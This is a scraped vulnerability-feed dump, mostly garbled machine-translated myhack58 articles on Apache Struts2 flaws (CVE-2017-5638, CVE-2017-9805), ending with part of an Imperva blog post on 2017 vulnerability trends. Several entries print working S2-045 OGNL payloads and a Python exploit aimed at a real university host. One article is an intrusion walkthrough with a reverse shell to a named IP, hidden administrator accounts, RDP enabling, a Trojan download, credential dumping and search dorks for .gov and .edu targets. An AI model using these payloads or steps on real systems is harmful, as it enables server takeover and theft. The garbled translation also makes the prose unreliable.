\nhttps://svdevems01.direct.gq1.yahoo.com/sm/login.jsp \nThis is Yahoo the a login page. \n! [](/Article/UploadPic/2017-6/201767192643648. png? www. myhack58. com) \nI have tried in this page find the vulnerability, but unfortunately I didn't find until I found the following nodes: \nhttps://svdevems01.direct.gq1.yahoo.com/sm/login/loginpagecontentgrabber.do \nNote: If you find a node address contains. action,. do or. go, then, this indicates that this Web application to run a Struts2 to. \nAs I said before, for the Struts2 vulnerability exploit code has been released, and this vulnerability using the process is also very simple. Although I know here there is vulnerability, but ready-made exploit code here does not work, so I feel may be a Web application firewall in the mischief, or that some of the things shield my attack. \nSince I was able to determine where there is indeed a vulnerability, so I couldn't stop. But if you want to submit a valid vulnerability, I have to provide a viable PoC to prove this vulnerability is valuable. After a period of research, I found an article tweet this article tweet describes how to pass a Payload to bypass the WAF and be successfully exploited this vulnerability. \nI the use of detection methods require the use of Content-Type HTTP header to send a specially crafted data packet, the header data as shown below: \nContent-Type:%{#context[\u2018com. opensymphony. xwork2. dispatcher. HttpServletResponse\u2019]. addHeader(\u2018X-Ack-Th3g3nt3lman-POC\u2019,4*4)}. multipart/form-data \nThis specially constructed request can not only make[the Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)to calculate the two multiplied by the number, and you can also request a[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)for any other form of operation. In the above example, the request to calculate the value of 4 * 4, the server returns the result of 16, which means that this server is the presence of security vulnerabilities. \nAs shown in the following figure, the response data will contain the new header, i.e. X-Ack-Th3g3nt3lman-POC: 16 \n! [](/Article/UploadPic/2017-6/201767192643394. png? www. myhack58. com) \nThese have enough I'm through HackerOne to Yahoo to submit a vulnerability report, Yahoo skilled in the art after receiving the report within 30 minutes of the vulnerabilities were classified, and then promptly will be the presence of vulnerabilities the application offline to fix this issue, a few days later I received a Yahoo to provide me with the 5500 knife vulnerability bonus. \nIn fact, digging a hole is not difficult, as long as you are willing to spend time, willing to move the brain to think, I believe thousands of dollars of vulnerability bonuses to everyone or can be easily in the bag. Finally, I hope my these little can be found to everyone in the burrow in the process bring some inspiration. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-06-07T00:00:00", "type": "myhack58", "title": "Burrow experience | to see how I find the Yahoo remote code execution vulnerability and get the 5500 knife bonus-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-06-07T00:00:00", "id": "MYHACK58:62201786819", "href": "http://www.myhack58.com/Article/html/3/62/2017/86819.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-07-10T13:31:12", "description": "0\u00d71 Overview \nMany business websites use the Apache open source project to build a http server, which is most of the use of the Apache sub-project of Struts in. But since the Apache Struts2 Product code there are more risks, beginning in 2007, Struts2 will frequently broke multiple high-risk vulnerabilities. \nFrom the Apache official data, from 2007 to 2018 total published number S2-001 to S2-056 total of 56 vulnerabilities, of which only a remote code execution vulnerability Remote Code Execution on a 9. \n! [](/Article/UploadPic/2018-7/2018710164555841. png? www. myhack58. com) \n2017 3 months was reported out of the S2-045\uff08CVE-2017-5638 high-risk vulnerabilities, based on Jakarta Multipart parser implementation file upload may lead to an RCE, the impact of the range of the Struts 2.3.5 \u2013 Struts 2.3.31, as well as the Struts 2.5 \u2013 Struts 2.5.10 version, persists to be utilized for an attack. \n2018 year 4 months Tencent Yu see Threat Intelligence Center had been monitoring the hacker group exploit this vulnerability bulk of the invasion[the web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)implantation mining Trojan\uff08for more details, see the enterprise not fix Apache Struts 2 vulnerability-induced[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)is the bulk of the invasion article, the recent Royal to see the Threat Intelligence Center is again monitored a similar attack. \nThis attack, hackers use attack tools WinStr045 detecting the presence on the network vulnerability[web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), found that the presence of vulnerability of the machine through a remote execution of various types of instruction provide the right to, create, account, system information gathering, and then will be used to download the Trojan mas. exe the implant, then the use of mas. exe this Trojan Downloader from the plurality of C&C;address to download more Trojans: the \u5229\u7528\u63d0\u6743\u6728\u9a6co3/o6.exe and \u6316\u77ff\u6728\u9a6cnetxmr4.0.exe the. \nSince the bitcoin mining Trojan netxmr the decryption code after the module name\u201ckoi\u201dis loaded, therefore, Tencent Yu see Threat Intelligence Center will be named for KoiMiner it. Interestingly, intruders to ensure your mining success, it will check the system processes, CPU resource consumption, and if CPU usage exceeds 40%, it will be the end of the Run, will save the system resources for the mining of. \nAccording to the code traceability analysis, Tencent Yu see Threat Intelligence Center researchers believe that this KoiMiner series mining Trojan is probably some hacker forums, underground mining organizations to share in the community more people cooperation of the\u201cpractice\u201dworks. \n! [](/Article/UploadPic/2018-7/2018710164555994. png? www. myhack58. com) \nAttack process \nNote: Struts is based on MVC design pattern Web application framework, the user use of the framework can be business logic code from the presentation layer clearly separated, so as to focus on the business logic and the mapping relationship between the configuration file. Struts2 is Struts and WebWork combination, a combination of Struts and WebWork advantages, the use of interceptor mechanisms to process the user's request, so that business logic can with ServletAPI completely out of the opening. \n0\u00d72 a detailed analysis of the \n0 x 2.1 intrusion \nThe detection of the target system whether the presence of S2-045 vulnerability \n! [](/Article/UploadPic/2018-7/2018710164555176. png? www. myhack58. com) \nThe presence of the vulnerability of the system to attack \n! [](/Article/UploadPic/2018-7/2018710164555748. png? www. myhack58. com) \nInvasion tool for the selection of osmotic command \n! [](/Article/UploadPic/2018-7/2018710164555749. png? www. myhack58. com) \nThe invasion can be selected when execution of the command can also be self-defined,choose the command Windows, linux, penetration of commonly used commands, including viewing system version information, network connection status, port open status and add to the system with administrator privileges to the new user, open the remote connection service and other operations. \n! [](/Article/UploadPic/2018-7/2018710164555928. png? www. myhack58. com) \nThrough the directory view command to confirm C:\\Windows\\Help directory and C:\\ProgramData whether the directory has been implanted Trojan, if not then the mas. exe Trojan infection. The time of implantation to first create the C#code to text mas. cs, \u7136\u540e\u4f7f\u7528.NET\u7a0b\u5e8f\u5c06\u5176\u7f16\u8bd1\u4e3a\u53ef\u6267\u884c\u6587\u4ef6mas.exe the. \nFirst execute the command to create a mas. cs and write The for download code. \n! [](/Article/UploadPic/2018-7/2018710164555437. png? www. myhack58. com) \n\u7136\u540e\u6267\u884c\u547d\u4ee4\u5c06mas.cs\u901a\u8fc7.NET\u7a0b\u5e8f\u7f16\u8bd1\u4e3amas.exe the. \n! [](/Article/UploadPic/2018-7/2018710164555672. png? www. myhack58. com) \nCommand in the use of mas. exe download mining Trojan netxmr4. To 0. \n! [](/Article/UploadPic/2018-7/2018710164555433. png? www. myhack58. com) \nPart of the attack objectives are as follows: \n! [](/Article/UploadPic/2018-7/2018710164555651. jpg? www. myhack58. com) \nImplantation of mas. the exe size is only 4k,is stored in the directory ProgramData. From Yu see Threat Intelligence Center monitoring and recording can be seen, mas.exe\u4ece\u591a\u4e2aC2\u5730\u5740\u4e0b\u8f7d\u4e86netxmr4.exe(mining Trojan), the o3.exe/o6.exe(providing the right to Trojans)and other Trojans. \n! [](/Article/UploadPic/2018-7/2018710164555713. png? www. myhack58. com)\n\n**[1] [[2]](<90758_2.htm>) [[3]](<90758_3.htm>) [[4]](<90758_4.htm>) [next](<90758_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-07-10T00:00:00", "type": "myhack58", "title": "Apache Struts2 high-risk vulnerabilities cause the Enterprise Server is the invasion mounted KoiMiner mining Trojan-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-07-10T00:00:00", "id": "MYHACK58:62201890758", "href": "http://www.myhack58.com/Article/html/3/62/2018/90758.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-03-07T09:25:04", "description": "! [](/Article/UploadPic/2017-3/201737152244987. png? www. myhack58. com) \nFreeBuf last exposure of the Struts 2 vulnerability is already more than six months ago. This vulnerability is a RCE remote code execution vulnerability. Simple to say, based on Jakarta Multipart resolver for file upload, exploit the vulnerability for remote code execution. The vulnerability by the constant information Nike Zheng reported. \nApache Struts is a United States Apache\uff08the Apache Software Foundation is responsible for the maintenance of an open source project, is used to create enterprise-class Java Web application open source MVC framework. \nVulnerability number\nCVE-2017-5638 \nVulnerability description\nThe Struts use the Jakarta parsing file upload request packet properly, when the remote attacker would construct a malicious Content-Type that could lead to remote command execution. \nIn fact in default. properties file, struts. multipart. parser of values there are two options, namely jakarta and pell in the original actually there is a third option cos it. Wherein the jakarta parser is the Struts 2 framework of the standard components. By default, jakarta is enabled, so the vulnerability of the seriousness of the need to get to grips with it. \nThe scope of the impact\nThe Struts 2.3.5 \u2013 Struts 2.3.31 \nThe Struts 2.5 \u2013 Struts 2.5.10 \nSolution\nIf you are using based on the Jakarta file upload Multipart resolver, please upgrade to Apache Struts 2.3. 32 or 2. 5. 10. 1 version; or you can switch to a different implementation of file upload Multipart resolver. \nVulnerability PoC \n#! /usr/bin/env python \n# encoding:utf-8 \nimport urllib2 \nimport sys \nfrom poster. encode import multipart_encode \nfrom poster. streaminghttp import register_openers \nheader1 ={ \n\"Host\":\"alumnus. shu. edu. cn\", \n\"Connection\":\"keep-alive\", \n\"Refer\":\"alumnus. shu. edu. cn\", \n\"Accept\":\"*/*\", \n\"X-Requested-With\":\"XMLHttpRequest\", \n\"Accept-Encoding\":\"deflate\", \n\"Accept-Language\":\"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4\", \n} \ndef poc(): \nregister_openers() \ndatagen, headers = multipart_encode({\"image1\": open(\"tmp.txt\", \"rb\")}) \nheader[\"User-Agent\"]=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\" \nheader[\"Content-Type\"]=\"'%{(#nike,='multipart/form-data'). \n(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). \n(#_memberAccess? (#_memberAccess=#dm): \n((#container=#context['com. opensymphony. xwork2. ActionContext. container']). \n(#ognlUtil=#container. getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). \n(#ognlUtil. getExcludedPackageNames(). clear()). (#ognlUtil. getExcludedClasses(). clear()). \n(#context. setMemberAccess(#dm)))). (#cmd='cat /etc/passwd'). \n(#iswin=(@java.lang.System@getProperty('os. name'). toLowerCase(). contains('win'))). \n(#cmds=(#iswin? {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). \n(#p=new java. lang. ProcessBuilder(#cmds)). (#p. redirectErrorStream(true)). \n(#process=#p. start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse(). \ngetOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process. getInputStream(),#ros)). \n(#ros. flush())}\"' \nrequest = urllib2. Request(str(sys. argv[1]),datagen,headers=header) \nresponse = urllib2. urlopen(request) \nprint the response. read() \n\npoc() \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "myhack58", "title": "Apache Struts2 exposure arbitrary code execution vulnerability (S2-045,CVE-2017-5638)-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-07T00:00:00", "id": "MYHACK58:62201784026", "href": "http://www.myhack58.com/Article/html/3/62/2017/84026.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-09-06T21:13:29", "description": "The REST Plugin is using a XStreamHandler with an instance of XStream for deserialization without any type of filtering and this can lead to Remote Code Execution when deserializing XML payloads. - The Apache Struts civil peace Bulletin(reference 1) \n2017 9 5 March, the Apache Struts announcement of the latest ping notification Bulletin, the Apache Struts2 REST plug-in there a long code to fulfill the high-risk flaws, the flaws by lgtm. com peace fellow report instructions, the flaws numbered CVE-2017-9805\uff08S2-052 to. Struts2 REST plugin XStream components deserialization flaws, the application of the XStream component of the XML pattern of the data packet to stop the reverse sequence of manipulation, not the data content to stop useful to verify, the presence of safe risks, can be long-distance onslaught with. \nStruts2-enabled rest-plugin after and to prepare and set up XStreamHandler, the ability to incur long-distance order to fulfil this major achievement. \n0x01 flaws affect the \nAffect \nSure CVE-2017-9805 is a high-risk flaws. The reality of the scene, there must be limitations, need satisfaction must be the premise that non-struts their acquiescence to the opening of the Assembly. \nImpact version \nVersion 2.5.0 to 2.5.12 \nVersion 2.3.0 to 2.3.33 \nFix version \nThe Struts 2.5.13 \nThe Struts 2.3.34 \n0x02 flaws before \nTips details \n! [](/Article/UploadPic/2017-9/201796185648496. png? www. myhack58. com) \n\u6587\u4ef6/org/apache/struts2/rest/ContentTypeInterceptor.java \nIn the struts2 rest-plugin in the Dispose logic in the interface was the corresponding pattern of the news, will be diverted once the registration of the corresponding handler to the handler. the toobject way to stop it is instantiated, where the incoming xml news, to Is it will jump to once the world said XStreamHandler of the toobject way \n! [](/Article/UploadPic/2017-9/201796185648956. png? www. myhack58. com) \nIn Britain at the end here fromXML way after incurring an instance of the vicious thoughts of the object to be fulfilled, leading to vicious thoughts of the code to fulfill \n! [](/Article/UploadPic/2017-9/201796185648504. png? www. myhack58. com) \nThen see the calculator is the victory pop-up \nFlaws repair \n! [](/Article/UploadPic/2017-9/201796185648972. png? www. myhack58. com) \nThe new version adds XStreamPermissionProvider \n! [](/Article/UploadPic/2017-9/201796185648551. png? www. myhack58. com) \nAnd will come there are scores of createXStream stop rewriting, adds check, rebuff uneven security class to fulfill \n0x03 flaws in the application of verification \n! [](/Article/UploadPic/2017-9/201796185648981. png? www. myhack58. com) \n0x04 repair initiative \n1. Civil initiative set the plugin to dispose of the data sample is limited to json \n2. Upgrade Struts to 2. 5. 13 version or 2. 3. 34 version \n3. In XStreamHandler stop data parity or reflection\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-09-06T00:00:00", "type": "myhack58", "title": "Apache Struts2\u2013052 vulnerability research alert-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2017-09-06T00:00:00", "id": "MYHACK58:62201789104", "href": "http://www.myhack58.com/Article/html/3/62/2017/89104.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-03-08T11:52:28", "description": "1.1 CVE-2017-5638 vulnerability profile\nApache Struts 2 is the world's most popular JavaWeb Server framework. However, in Struts 2 found that the presence of high-risk security vulnerability, CVE-2017-5638,S02-45,and the vulnerability impact to: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts2. 5. 10 \nVulnerability ID: CVE-2017-5638 \nVulnerability rating: HIGH \nVulnerability name: S2-045: Struts 2 remote code execution vulnerability\nVulnerability impact: based on the JakartaMultipart the parser implementation file upload when possible RCE \nAffected version: Struts 2.3.5-Struts 2.3.31 \nThe Struts 2.5-Struts 2.5.10 \nRepair solutions: \nUpgrade to Struts2. 3. 32 or the Struts 2.5.10.1 \nStruts2. 3. 32 download address: \nhttps://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32 \nStruts2. 5. 10. 1 Download: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1 \nThe vulnerability principle: Struts2 default parse the uploaded file's Content-Type header, there is a problem. In the Parse error case, the error information in the OGNL code. \n1.2 hazard assessment\nAfter the actual test, as long as the vulnerability exists for windows and linux are Server Permissions. Great harm, to be sure for many people tonight is a sleepless night. \n1. 3 vulnerabilities in the actual use of 1. 3. 1 Ready to work\n1\uff0e Get ready for a jsp webshell, the Save on the site, for example, may be 1. txt and other text file, for network download. \n2\uff0e Ready to have a separate IP of the server, \u5728\u4e0a\u9762\u6709nc.exe the. \n3\uff0e Prepare python environment. \nGeneral use python2. 7. 13 version, download address: https://www.python.org/downloads/release/python-2713/, according to the[operating system](<http://www.myhack58.com/Article/48/Article_048_1.htm>)version of the Select the installation, after the installation is complete first run will error, you need to install a module, shown in Figure 1. Need to install the poster. the encode module download address: https://pypi. python. org/pypi/poster/, the \u7136\u540e \u5230 \u8be5 \u76ee\u5f55 \u6267\u884c pythonsetup.py install, to install. Note that in python if you do not set system variables, you'll need to strip the full path to execute. For example: \nC:\\Python27\\python.exeC:\\Python27\\poster-0.8.1\\setup.py install \n! [](/Article/UploadPic/2017-3/20173818228916. jpg? www. myhack58. com) \nFigure 1 The Missing poster. the encode module \n4\uff0e Get a variety of action page \n\uff081\uff09by zoomeye to get a variety of action page to search the index. action, login. action, info. action and the like. \n\uff082\uff09Baidu aunt law\ninurl:index. actionsite:edu. cn \ninurl:index. actionsite:gov. cn \ninurl:index. actionsite:com. cn \nNote: don't vandalize, and now the network security method very good it!!! \n1.3.2 modify the poc exploit code\n1. For the linux version of the modified whoami values: bash-i>& /dev/tcp/122.115.47.39/4433 0>&1 \nDescription of 122. 115. 47. 39 for a rebound the Monitoring Server IP, port 4433, the \u7136\u540e \u5c06 \u6587\u4ef6 \u4fdd\u5b58 \u4e3a poclinux.py as shown in Figure 2. Also there can be some other common commands: id, whomai, cat /etc/passwd, cat/etc/shadow, etc. You can modify the corresponding parameters and keep a different name. \n! [](/Article/UploadPic/2017-3/20173818228744. jpg? www. myhack58. com) \nFigure 2 modify the linux poc exploit code\n2. Corresponding Windows Server, modify the whomai value: \nnet user antian365$ Wsantian365!*/ add \nnet localgroup administratorsantian365$ /add \n\u5206\u522b \u5c06 poc \u6587\u4ef6 \u4fdd\u5b58 \u4e3a pocwin1.py and pocwin2.py as shown in Figure 3. \n! [](/Article/UploadPic/2017-3/20173818228139. jpg? www. myhack58. com) \nFigure 3 modify the windows under the use of the code\n1.3.3 under Windows fast implement penetration\n1. Each other to open up 3389 \n\uff081\uff09scanning each other whether to open the 3389, open a, respectively, to execute: \npocwin1.py http://www.myhack58.com/index.action \npocwin2.py http://www.myhack58.com/index.action \nIf the other loopholes, then it will directly add a user\u201cantian365$\u201d, password\u201cWsantian365!*\u201d, the Server to open the 3389, sign up and then download wce64, directly wce64 \u2013w to get the current login password, be sure to use administrator rights to execute. \n\uff082\uff09directly on 3389 \nIn the parameters were modified three times, execute the following code three times, you can open 3389. \nwmic /namespace:\\\\\\root\\cimv2\\terminalservices pathwin32_terminalservicesetting where (__CLASS != \"\") callsetallowtsconnections 1 \nwmic/namespace:\\\\\\root\\cimv2\\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 \nreg add\"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f \n3389 is open on the condition that the other party is independent of the IP, if it is within the network IP the case of the second method. \n2. The Trojan executes the law\n\uff081\uff09Download the Trojan\nFirst you need to prepare a Trojan program, you need to through win2008. Then modify the win. py in the whoami parameters: \nGermany /transfer myjob1/download /priority normal http://www.myhack58.com/ma.exe c:\\windows\\temp\\ma.exe \nma. exe save in www. myhack58. com web site root directory, it will download directly to the other party c:\\windows\\temp directory. \n\uff082\uff09the execution of the Trojan, to modify the poc in the whoami parameters for the ma. exe to the true path and the address, as follows. Run save after the poc is in the original implementation. \nc:\\windows\\temp\\ma.exe \n1.3. 4Linux under the rapid penetration of the ideas\n1. On a standalone server to perform monitoring, required in the independent IP on the server, execute\u201cnc \u2013vv\u2013l \u2013p 4433\u201d, you can perform the connection about this IP the 4433 port. For example, http://www. myhack58. com:4433, if the listening port has data, it indicates the normal, otherwise check the firewall rules. \n2. Perform poc \n\n\n**[1] [[2]](<84086_2.htm>) [[3]](<84086_3.htm>) [next](<84086_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-08T00:00:00", "type": "myhack58", "title": "How fast the use of s02-45 vulnerability to gain server access-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-08T00:00:00", "id": "MYHACK58:62201784086", "href": "http://www.myhack58.com/Article/html/3/62/2017/84086.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}], "impervablog": [{"lastseen": "2017-12-28T17:52:36", "description": "As a web application firewall provider, part of our job at Imperva is constantly monitoring new security vulnerabilities. To do this, we use internal software that collects information from various data sources such as vulnerability databases, newsletters, forums, social media and more, integrate it into a single repository, and assess each vulnerability\u2019s priority. Having this kind of data puts us in a unique position to provide analysis of all web application vulnerabilities throughout the year, view trends and notice significant changes in the security landscape.\n\nAs we did [last year](<https://www.imperva.com/blog/2016/12/state-web-applications-vulnerabilities-2016/>), before we enter 2018, we took a look back at 2017 to understand the changes and trends in web application security over the past year.\n\nThis year we registered a record high number of web application vulnerabilities including well-known categories like [cross-site scripting](<https://www.imperva.com/app-security/threatglossary/cross-site-scripting-xss/>), but also new categories such as insecure [deserialization](<https://www.owasp.org/index.php/Deserialization_Cheat_Sheet>). In addition, the number of internet of things (IoT) vulnerabilities continued to grow and severely impact the security landscape. WordPress and PHP each continued to \u201cdominate\u201d in terms of vulnerabilities published in the content management system and server side technologies respectively. [Apache Struts vulnerabilities](<https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/>), although the framework is less popular in the market at large, had a huge effect and were claimed to be the root cause of one of the biggest security breaches in 2017.\n\n## 2017 Web Application Vulnerabilities Statistics\n\nOne of the first stats we review is quantity, meaning how many vulnerabilities were published in 2017 and how that number compares to previous years.\n\nFigure 1 shows the number of vulnerabilities on a monthly basis over the last two years. We can see that the overall number of new vulnerabilities in 2017 (14,082) increased significantly (212%) compared to 2016 (6,615). According to our data, more than 50% of web application vulnerabilities have a public exploit available to hackers. In addition, more than a third (36%) of web application vulnerabilities don\u2019t have an available solution, such as a software upgrade workaround or software patch.\n\nAs usual, cross-site scripting (Figure 2) vulnerabilities are the majority (8%) of 2017 web application vulnerabilities. In fact, their amount has doubled since 2016.\n\n_Figure 1: Number of web application vulnerabilities in 2016-2017_\n\n## OWASP Top 10 View\n\nThis year [OWASP released](<https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf>) their long awaited \u201cTop 10\u201d list, which included two new risks:\n\n### Insecure Deserialization\n\nSerialization is the process of translating data structures or object state into a format that can be stored (for example, in a file or memory buffer) or transmitted (for example, across a network connection link) and reconstructed later (deserialization). Serialization is widely used in RPC, HTTP, databases, etc.\n\nApplications and APIs may be vulnerable if they deserialize hostile or tampered objects supplied by an attacker without proper sanitization. Therefore, we thought it would be interesting to view the security vulnerabilities in light of these changes.\n\n_Figure 2: Number and type of OWASP Top 10 vulnerabilities 2014-2017_\n\nThe amount of deserialization vulnerabilities from 2016-2017 (Figure 2) increased substantially from previous years which may explain how they \u201cearned\u201d their spot in the new OWASP Top 10 list. Today, more and more applications and frameworks are using standard APIs to communicate. Some of these APIs take serialized objects and deserialize them in return, which can explain the growing trend of insecure deserialization vulnerabilities.\n\n### Insufficient Logging and Monitoring\n\nAttackers rely on the lack of monitoring and timely response to achieve their goals without being detected. We have not found any vulnerabilities published in 2017 that are directly related to this category. It will be interesting to monitor it and see if that will change next year.\n\n## The Rise of the (IoT) Machines\n\nNowadays nearly every aspect of our lives is connected to the internet and we can find smart devices everywhere\u2014in our home refrigerator, TV, lights, doors, locks and even the clothes we wear. These devices are designed to send and receive information and thus are usually connected to the internet at all times. In many cases the vendors of smart devices neglect to secure them properly or even \u201cbackdoor\u201d them on purpose in order to gain hidden access.\n\n \n_Figure 3: IoT vulnerabilities 2014-2017_\n\n2017 registered a record high of 104 IoT-related vulnerabilities (Figure 3), a huge increase relative to previous years. The rising trend in the amount of vulnerabilities can be associated with their increasing popularity in our modern lives and advances in IoT technology that make IoT devices cheaper and accessible to more people.\n\nOne of the most popular vulnerability types in IoT devices (35%) is using default or easy to guess credentials in order to gain access to the device and take control of it. Once the device is controlled by the attacker it can be used to mount any kind of attack. Earlier this year the well-known [Mirai malware used this kind of vulnerability](<https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html>) (default credentials) to spread itself through the network. Once the malware gained access to the device, it turned it into a remote-controlled bot that was used as part of huge a DDoS attack.\n\n## Content Management Systems\n\nWhen analyzing content management system (CMS) frameworks, we decided to concentrate on the four leading platforms that account for [60% of the market share](<https://w3techs.com/technologies/overview/content_management/all>)\u2014WordPress, Joomla, Drupal and Magento.\n\n_Figure 4: Number of vulnerabilities by CMS platform 2016-2017_\n\n### WordPress\n\nAs suspected, WordPress vulnerabilities continue to be the lion\u2019s share of all CMS-related vulnerabilities. In fact, WordPress vulnerabilities (418) have increased by ~400% since 2016 (Figure 4).\n\nFurther analysis of WordPress vulnerabilities showed that 75% of the 2017 vulnerabilities originated from third-party vendor plug-ins (Figure 5).\n\n_Figure 5: WordPress third party vendor vulnerabilities in 2017_\n\nThe rise in the number of vulnerabilities can be explained by the growth of 